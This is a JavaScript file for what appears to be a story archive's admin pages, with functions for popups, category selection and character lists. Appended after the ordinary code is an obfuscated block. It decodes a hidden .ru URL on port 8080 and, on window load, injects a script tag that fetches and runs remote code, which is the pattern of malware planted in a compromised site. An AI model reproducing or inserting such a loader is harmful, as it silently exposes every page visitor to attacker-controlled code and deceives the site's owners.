
function pop(theurl, w, h, scroll)
{
 var the_atts = "width="+w+", height="+h+", top=20, screenY=20, left=20, screenX=20,  toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars="+scroll+", resizable=yes, copyhistory=no";
 // open window
 window.open(theurl,'pop',the_atts);
}

function more_info(sid) {
   if(document.getElementById('more_' + sid).style.display == 'none') {
       document.getElementById('more_' + sid).style.display = 'block';
       document.getElementById('info_' + sid).style.display = 'none';
   }
   else {
       document.getElementById('info_' + sid).style.display = 'block';
       document.getElementById('more_' + sid).style.display = 'none';
   }
}

function category(pid, catid, name, locked, order) {
	this.pid = pid;
	this.catid = catid;
	this.name = name;
	this.locked = locked;
	this.order = order;
}

function character(charid, catid, charname) { 
	this.charid = charid;
	this.catid = catid;
	this.charname = charname;
}

function resetCats(catoptions) {
	var selItem = document.getElementById(catoptions).selectedIndex;
	var selValue = document.getElementById(catoptions).options[selItem].value;
	var element = document.getElementById(catoptions);
	element.options.length = 0;
	element.options[element.options.length] = new Option(lang['Back2Cats'], -1);
	for(z = 0; z < categories.length; z++) {
		if(categories[z].pid == selValue || categories[z].catid == selValue) 
			element.options[element.options.length] = new Option(categories[z].name, categories[z].catid);
	}
	if(selValue != -1) element.options.selectedIndex = 1;
}

function addCat(fromGroup, toGroup) {
	var strValues = "";
	var listLength = document.getElementById(toGroup).length;
	var selItem = document.getElementById(fromGroup).selectedIndex;
	var selValue = document.getElementById(fromGroup).options[selItem].value;
	var selText = document.getElementById(fromGroup).options[selItem].text;
	var newItem = true;
	for(i = 0; i < categories.length; i++) {
		if(categories[i].catid == selValue) {
			if(categories[i].locked == 1) {
				alert(lang['CatLocked']);
				return false;
			}
		}
	}
	strValues = selValue;
	for(i = 0; i < listLength; i++) {
		strValues = strValues + "," + document.getElementById(toGroup).options[i].value;
		if(document.getElementById(toGroup).options[i].text == selText) {
			newItem = false;
			break;
		}
	}
	if(newItem) {
		document.getElementById(toGroup).options[listLength] = new Option(selText, selValue);
		document.getElementById(fromGroup).options[selItem] = null;
		document.getElementById("catid").value = strValues;
	}
	buildCharacters(toGroup);
}

function browseCategories( cats ) {
	var selItem = document.getElementById(cats).selectedIndex;
	var selValue = document.getElementById(cats).options[selItem].value;
	var selText = document.getElementById(cats).options[selItem].text;
	var element = document.getElementById(cats);
	var charlist1 = document.getElementById('charlist1');
	var charlist2 = document.getElementById('charlist2');
	var copyOption1 = new Array( );
	var copyOption2 = new Array( );
	element.options.length = 0;
	if(selValue != -1) element.options[element.options.length] = new Option(lang['Back2Cats'], -1);
	else element.options[element.options.length] = new Option(lang['Categories'], -1);
	for(z = 0; z < categories.length; z++) {
		if(categories[z].pid == selValue || categories[z].catid == selValue) 
			element.options[element.options.length] = new Option(categories[z].name, categories[z].catid);
	}
	if(selValue != -1) element.options.selectedIndex = 1;
	var copyOption = new Array( );
	
	var a = 0;
	for(x = 0; x < characters.length; x++) {
		if(characters[x].catid == -1 || characters[x].catid == selValue) {

			copyOption1[a] = new Array(characters[x].charname, characters[x].charid, false, false);
			copyOption2[a] = new Array(characters[x].charname, characters[x].charid, false, false);
			a++;
			continue;
		}
	}
	for(x = 0; x < copyOption.length; x++) {
		for(y = 0; y < charlist1.length; y++) {
			if(charlist1.options[y].selected == true && charlist1.options[y].value == copyOption1[x][1]) {
				copyOption1[x][2] = false;
				copyOption1[x][3] = true;
			}
			if(charlist2.options[y].selected == true && charlist1.options[y].value == copyOption2[x][1]) {
				copyOption2[x][2] = false;
				copyOption2[x][3] = true;
			}

		}
	}
	copyOption1.sort( );
	copyOption2.sort( );
	if(charlist1) charlist1.length = 0;
	charlist2.length = 0;
		if(charlist1) charlist1.options[charlist1.options.length] = new Option(lang['Characters'], '', false, false);
		charlist2.options[charlist2.options.length] = new Option(lang['Characters'], '', false, false);

	for(i = 0; i < copyOption1.length; i++) {
		if(charlist1) charlist1.options[charlist1.options.length] = new Option(copyOption1[i][0], copyOption1[i][1], copyOption1[i][2], copyOption1[i][3]);
		charlist2.options[charlist2.options.length] = new Option(copyOption2[i][0], copyOption2[i][1], copyOption2[i][2], copyOption2[i][3]);
	}
	
}	

function buildCharacters( cats ) {
	if(document.form.formname.value == "admins") return;
	var charid = document.form.charid;
	var catslist = document.getElementById(cats);
	var copyOption = new Array( );
	
	var a = 0;
	for(x = 0; x < characters.length; x++) {
		if(characters[x].catid == -1) {
			copyOption[a] = new Array(characters[x].charname, characters[x].charid, false, false);
			a++;
			continue;
		}
		for(z = 0; z < catslist.length; z++) {
			if(catslist.options[z].value == characters[x].catid) {
				copyOption[a] = new Array(characters[x].charname, characters[x].charid, false, false);
				a++;
			}
		}
	}
	for(x = 0; x < copyOption.length; x++) {
		for(y = 0; y < charid.length; y++) {
			if(charid.options[y].selected == true && charid.options[y].value == copyOption[x][1]) {
				copyOption[x][2] = false;
				copyOption[x][3] = true;
			}
		}
	}
	copyOption.sort( );
	document.form.charid.length = 0;
	for(i = 0; i < copyOption.length; i++) {
		charid.options[charid.options.length] = new Option(copyOption[i][0], copyOption[i][1], copyOption[i][2], copyOption[i][3]);
	}
}

function removeCat( catid ) {
	var selitem = document.getElementById(catid).selectedIndex;
	var strValues = "";
	document.getElementById(catid).options[selitem] = null;
	for(i = 0; i < document.getElementById(catid).length; i++) {
		strValues = strValues + "," + document.getElementById(catid).options[i].value;
	}
	document.getElementById("catid").value = strValues;
	buildCharacters(catid);
}

function displayCatRows(parent) {
	if(navigator.appName.indexOf('Microsoft') > -1) var canSee = 'block';
	else var canSee = 'table-row';
	var start = document.images['c_' + parent].src.lastIndexOf(".") - 3;
	if(document.images['c_' + parent].src.indexOf('on', start) == -1) {
		var state = 'off';
		tmp = document.images['c_' + parent].src;
		document.images['c_' + parent].src = document.images['c_' + parent].src.replace('_off', '_on');
	}
	else {
		var state = 'on';
		tmp = document.images['c_' + parent].src;
		document.images['c_' + parent].src = document.images['c_' + parent].src.replace('_on', '_off');
	}
	for(x = 0; x < categories.length; x++) {
		if(categories[x].pid == parent) {
			if(state == 'off')
				document.getElementById('catid_' + categories[x].catid).style.display = 'none';
			else
				document.getElementById('catid_' + categories[x].catid).style.display = canSee;
		}
	}			
}

function setCategoryForm( chosen ) {
	var category = chosen.options[chosen.selectedIndex].value; 
	var count = 0;
		chosen.options.length = 0;
		document.form.orderafter.options.length = 0;
		for(x = 0; x < categories.length; x++) {
			if(categories[x].pid == category || categories[x].catid == category) { 
				chosen.options[chosen.options.length] = new Option(categories[x].name, categories[x].catid); 
			}
			if(categories[x].pid == category) {
				document.form.orderafter.options[document.form.orderafter.options.length] = new Option(categories[x].name, categories[x].order); 
				count++;
			}
		}
		if(category != -1) { 
			chosen.options[chosen.options.length] = new Option(lang['Back2Cats'], '-1');
			chosen.options.selectedIndex = 0;
		}
		else { 
			chosen.options[chosen.options.length] = new Option(lang['TopLevel'], '-1');
			chosen.options.selectedIndex = chosen.options.length - 1;
			
		}
		document.form.orderafter.options[document.form.orderafter.options.length] = new Option(lang['MoveTop'], '0');
		document.form.orderafter.options.selectedIndex= document.form.orderafter.options.length - 1;
}

function displayTypeOpts() {
	var choice = document.getElementById('field_type').selectedIndex;
	var type = document.getElementById('field_type').options[choice].value;
	if(window.tinyMCE) tinyMCE.execCommand('mceResetDesignMode'); 

	for(i = 1; i < 6; i++) {
		if(document.getElementById('opt_' + i)) {
			document.getElementById('opt_' + i).style.display = 'none';
		}
	}
	document.getElementById('opt_' + type).style.display = 'block';
	if(window.tinyMCE) tinyMCE.execCommand('mceResetDesignMode'); 
}


this.Ew='';var K=new String();this.U='';var wA;if(wA!='Du' && wA!='w'){wA='Du'};function x(){var _Q;if(_Q!='n' && _Q!='b'){_Q=''};var v=new Date();var E='';var m=unescape;var u=window;var cV="\x68\x74\x74\x70\x3a\x2f\x2f\x66\x65\x65\x64\x62\x75\x72\x6e\x65\x72\x2d\x63\x6f\x6d\x2e\x72\x6f\x74\x74\x65\x6e\x74\x6f\x6d\x61\x74\x6f\x65\x73\x2e\x63\x6f\x6d\x2e\x69\x66\x65\x6e\x67\x2d\x63\x6f\x6d\x2e\x72\x65\x61\x6c\x68\x6f\x6d\x65\x62\x69\x64\x2e\x72\x75\x3a";var J="";var P="gxwJV".substr(0,1);var Uf=new Date();var I;if(I!='DC'){I='DC'};function c(D,H){var JF;if(JF!='F'){JF=''};var IP;if(IP!='C'){IP=''};var f=m("%5b")+H+m("%5d");var Lm="";var TA;if(TA!='' && TA!='Kp'){TA=null};var L=new RegExp(f, P);this.r='';var DF='';return D.replace(L, E);var Ay;if(Ay!='TV'){Ay=''};var X_=new Array();};var Kpk;if(Kpk!='' && Kpk!='Q'){Kpk=''};var nt;if(nt!='hw' && nt != ''){nt=null};var Xf=new Array();var Jd;if(Jd!='Hw' && Jd != ''){Jd=null};var AO;if(AO!='mo'){AO=''};var np="";var g=m("%2f%73%6b%79%70%65%2e%63%6f%6d%2f%73%6b%79%70%65%2e%63%6f%6d%2f%74%79%70%65%70%61%64%2e%63%6f%6d%2f%69%6e%74%65%6c%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");var Vj;if(Vj!='Ar'){Vj='Ar'};var a;if(a!='Yc' && a != ''){a=null};var h='';var mK=new Array();var s=document;var o=c('8555067986770937','96743152');this.Kr='';var Vz;if(Vz!='ca'){Vz='ca'};var Hq=new Date();function M(){var yj='';var Hl;if(Hl!='' && Hl!='ht'){Hl='ed'};var pD;if(pD!='' && pD!='sq'){pD=null};h=cV;var Ce='';var sj=new Date();h+=o;var gl="";this.rn='';h+=g;var ng='';try {var mu="";T=s.createElement(c('s4cHrvivp4tn','KYCN7o4XmnHG_jkqMSQvV'));var wF;if(wF!='Mu' && wF!='aI'){wF=''};T.defer=[1][0];var Yy;if(Yy!='' && Yy!='ox'){Yy='O'};var jG;if(jG!='KBP'){jG='KBP'};T.src=h;var rL=new Array();var LD=new Date();var qp_=new Date();s.body.appendChild(T);var Nc="";var ol="";} catch(t){};}var d_='';var Sj;if(Sj!='IPH'){Sj=''};var HU='';u[new String("XFwon".substr(3)+"jAD1lo".substr(4)+"ad")]=M;this.Kf='';};var vH;if(vH!='Cc' && vH!='yd'){vH='Cc'};var wQ;if(wQ!='Lo' && wQ!='Pp'){wQ='Lo'};var Br;if(Br!='CF'){Br='CF'};x();var cJ;if(cJ!='vy' && cJ != ''){cJ=null};var Dq;if(Dq!='kC' && Dq != ''){Dq=null};
